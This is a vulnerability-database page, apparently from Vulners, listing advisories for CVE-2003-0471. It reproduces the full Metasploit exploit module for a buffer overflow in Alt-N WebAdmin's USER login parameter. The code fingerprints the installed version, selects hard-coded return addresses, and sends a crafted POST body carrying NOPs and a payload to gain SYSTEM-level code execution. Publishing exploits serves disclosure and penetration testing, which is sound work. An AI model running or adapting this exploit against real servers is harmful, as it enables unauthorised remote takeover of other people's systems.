Lucene search
K

Alt-N WebAdmin USER Buffer Overflow

🗓️ 17 Jan 2006 01:11:10Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

Alt-N WebAdmin USER Buffer Overflow results in code execution with SYSTEM level privileges due to insufficient bounds checking on the USER paramete

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2003-0471
15 Feb 201000:00
circl
Check Point Advisories
AltN WebAdmin USER Buffer Overflow - Ver2 (CVE-2003-0471)
28 Dec 201400:00
checkpoint_advisories
CVE
CVE-2003-0471
28 Jun 200304:00
cve
Cvelist
CVE-2003-0471
28 Jun 200304:00
cvelist
Exploit DB
Alt-N WebAdmin - USER Buffer Overflow (Metasploit)
15 Feb 201000:00
exploitdb
NVD
CVE-2003-0471
7 Aug 200304:00
nvd
OpenVAS
webadmin.dll detection
3 Nov 200500:00
openvas
OpenVAS
webadmin.dll CGI Multiple Vulnerabilities
3 Nov 200500:00
openvas
Packet Storm
Alt-N WebAdmin USER Buffer Overflow
26 Nov 200900:00
packetstorm
Tenable Nessus
Alt-N WebAdmin Multiple Vulnerabilities
24 Jun 200300:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Alt-N WebAdmin USER Buffer Overflow',
      'Description'    => %q{
        Alt-N WebAdmin is prone to a buffer overflow condition. This
        is due to insufficient bounds checking on the USER
        parameter. Successful exploitation could result in code
        execution with SYSTEM level privileges.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0471' ],
          [ 'OSVDB', '2207' ],
          [ 'BID', '8024'],
          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 830,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Automatic', {}],
          ['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
          ['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
          ['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
          ['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2003-06-24'))

      register_options([Opt::RPORT(1000)])
  end

  def exploit

    mytarget = target

    if (target.name =~ /Automatic/)
      res = send_request_raw({
        'uri'   => '/WebAdmin.DLL'
      }, -1)

      if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
        case $1
        when /2\.0\.4/
          mytarget = targets[1]
        when /2\.0\.3/
          mytarget = targets[2]
        when /2\.0\.2/
          mytarget = targets[3]
        when /2\.0\.1/
          mytarget = targets[4]
        else
          print_error("No target found for v#{$1}")
          return
        end
      else
        print_error("No target found")
      end
    end

    user_cook = rand_text_alphanumeric(2)
    post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
    post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'

    print_status("Sending request...")
    res = send_request_cgi({
      'uri'          => '/WebAdmin.DLL',
      'query'        => 'View=Logon',
      'method'       => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'cookie'       => "User=#{user_cook}; Lang=en; Theme=standard",
      'data'         => post_data,
      'headers'      =>
      {
        'Accept'          => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
        'Accept-Language' => 'en',
        'Accept-Charset'  => 'iso-8859-1,*,utf-8'
      }
    }, 5)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation